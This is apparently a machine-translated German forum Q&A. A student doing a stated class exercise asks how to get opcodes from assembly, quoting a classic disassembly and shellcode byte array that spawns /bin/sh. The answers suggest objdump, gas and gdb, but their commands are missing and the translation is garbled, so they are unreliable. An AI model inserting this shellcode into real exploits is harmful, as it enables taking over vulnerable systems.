Wie man opcodes von einem c-Programm
Weiß ich, wie man die Assembler-Quellcode von meinem Programm mit gdb, aber wie bekomme ich den opcode?
Ich brauche es für hack ein linux-server (keine Sorge, es ist ein Teil der Klasse, ich habe also keinen echten server geschädigt wird). Eigentlich war ich zu Lesen diese Artikel und ich Frage mich, wie kann ich von der Montage:
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
folgende:
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
Das system ist linux-x86-und die Sprache, die ich verwenden werde C. ich würde wirklich gerne eine automatisierte Methode, aber eine manuelle Lösung würde auch funktionieren.
Ich meine, wie kann ich konvertieren, %ebp, %esi, %esp usw.. gibt es eine map die ich verwenden kann? oder ein automatisiertes programm?
- Sind Sie auf der Suche nach einem x86 disassembler?
- Ich denke, dass der disassembler macht das Gegenteil von dem, was ich versuche zu tun,
- Eine Auflistung der x86-Befehlssatz hat den Zuordnungen, es kann verwendet werden, zu zerlegen 0xEB (das ist
JMP
) oder Umgekehrt (Montage, oder "kompilieren",JMP
zu 0xEB etc). - Wissen Sie, wo ich es finden kann?
- Was ist mehr, wie kann ich konvertieren, sagen <main+47> zu opcode?
- Jeder anständige übersicht über den Befehlssatz erläutert die verschiedenen Adressierungsarten etc. Aber wenn alles, was Sie interessiert, ist das Endergebnis, Sie brauchen nur ein assembler.
gas
Ich glaube, dass ist in der GCC-suite. - Haben Sie versucht, wie Google?
Du musst angemeldet sein, um einen Kommentar abzugeben.
Hier gehen Sie:
Beachten Sie, wie der Letzte, 00 in diesem
add %cl
Anweisung kommt von der string null terminator byte; es ist nicht explizit.Wie ich war, habe ich einfach zusammengestellt deine Erklärung mit
dann
shellcodeasm
Programm mitobjdump
zu tun, anstatt es im innerengcc
. Wie Sie sehen können, die Ausgabe-format gibt Ihnen die Demontage-Liste, und die opcodes. Können Sie einige text-Verarbeitung schneiden Sie die Spalte bytes und automatisch transformieren Sie in eine C-Deklaration.Können Sie verwenden:
oder
um die Demontage des Programms mit den opcodes.
Um die Demontage Ihres char-array verwenden, können Sie:
-d
nur zerlegt.text
aber-D
zerlegt Sie die anderen Abschnitte auch.objdump
nicht zerlegen jede Abschnitt standardmäßig. In der Tat, standardmäßig druckt eine Hilfe-Bildschirm.gcc -c tst.c && objdump -S tst.o
arbeitete für mich auf Linux 2.6.32-5-und gcc 4.7.1. Aber nur tungcc -S -c tst.c -o -
ohne dieobjdump
-Schritt erzeugt nur die Montage mnemonics auf meinem system, nicht den opcodesGefunden! Zuerst zerlegen, dann geben :
x/bx drücken Sie die EINGABETASTE und erhalten, indem man die hex-Darstellung des Montage-Befehle!
Erstellen Sie eine kleine assembly-Datei, sagen
code.s
. Dann fügen Sie den folgenden hinein:Montage mit
as code.s -o code.o
und verwenden objdump zum disassemblieren Sie das Ergebnis.